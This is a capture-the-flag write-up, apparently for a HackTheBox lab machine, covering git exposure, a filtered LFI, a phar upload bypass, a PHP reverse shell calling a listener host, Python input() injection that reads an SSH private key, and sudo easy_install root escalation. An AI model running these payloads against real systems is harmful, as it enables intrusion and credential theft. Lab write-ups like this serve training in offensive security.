TL;DR

NETWORK

SCAN

ENUMERATION

Siteisup.htb

Quick test:

We have found a .git folder

Code review

wget -r http://siteisup.htb/dev/.git

Looks like we need to use a required header : Special-Dev “only4dev”

A firewall is in place to protect the lfi

60d2b32 354fe06

Dev.siteisup.htb

Headers modification

The dev site is inaccessible for us as we need to use a specific header “Special-Dev: only4dev” as seen in the code review

Let’s add the header automatically for all the requests

Now we have a full access to the dev site

Local File Inclusion (LFI)

Looking at the code we see a basic attempt to stop LFI using preg_match()

preg_match() can be bypassed if the variable is an array like described here https://bugs.php.net/bug.php?id=69274 in our case, using this method will feed an array to the include() function which will make the inclusion fail.

Instead, we can use “php://filter” to get the php files on the server

php://filter/convert.base64-encode/resource=index

Exploit upload

Looking into the upload, we can iterate through the extension

we can see the invalid extensions in the code

let’s use a list which

We have found a list of potential extensions with one promising one phar

using the following payload, with 1) being our our PHP code and a list of urls to be called by the code

The uploads are removed by the code when the list has been fully processed - netcat listeners slow the curl connections and give us enough time to check the uploads.

Here is our payload activated proving that we can run PHP on the server using the phar extension

FOOTHOLD

Reverse shell

Unfortunately many of the classic PHP execution functions are disabled. Looking into the disabled functions we can see most of them being disabled

but luckily, we are allowed to use proc_open , as seen on https://www.php.net/manual/en/function.proc-open.php

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open('sh', $descriptorspec, $pipes, null, null);

if (is_resource($process)) {
   fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 1234 >/tmp/f');
   fclose($pipes[0]);

   echo stream_get_contents($pipes[1]);
   fclose($pipes[1]);

   $return_value = proc_close($process);
   echo "command returned $return_value\n";
}
?>

and we get a reverse shell on the server as www-data

PRIV ESCALATION

Python command injection

looking into the SUIDs, we have found an interesting program

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

Somehow localhost is being user

Looking into the script loaded we can see there is not much sanitisation going on and the script is using input()

According to this article https://www.stackhawk.com/blog/command-injection-python/ in Python < 3 , the input() function is equivalent to eval(raw_input)

using the following payload, we get user developer private key

__import__('os').system('cat /home/developer/.ssh/id_rsa')

SSH as Developer

Root session with easy_install

Looking into GTFobins for easy_install we have found some interesting candidates: If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF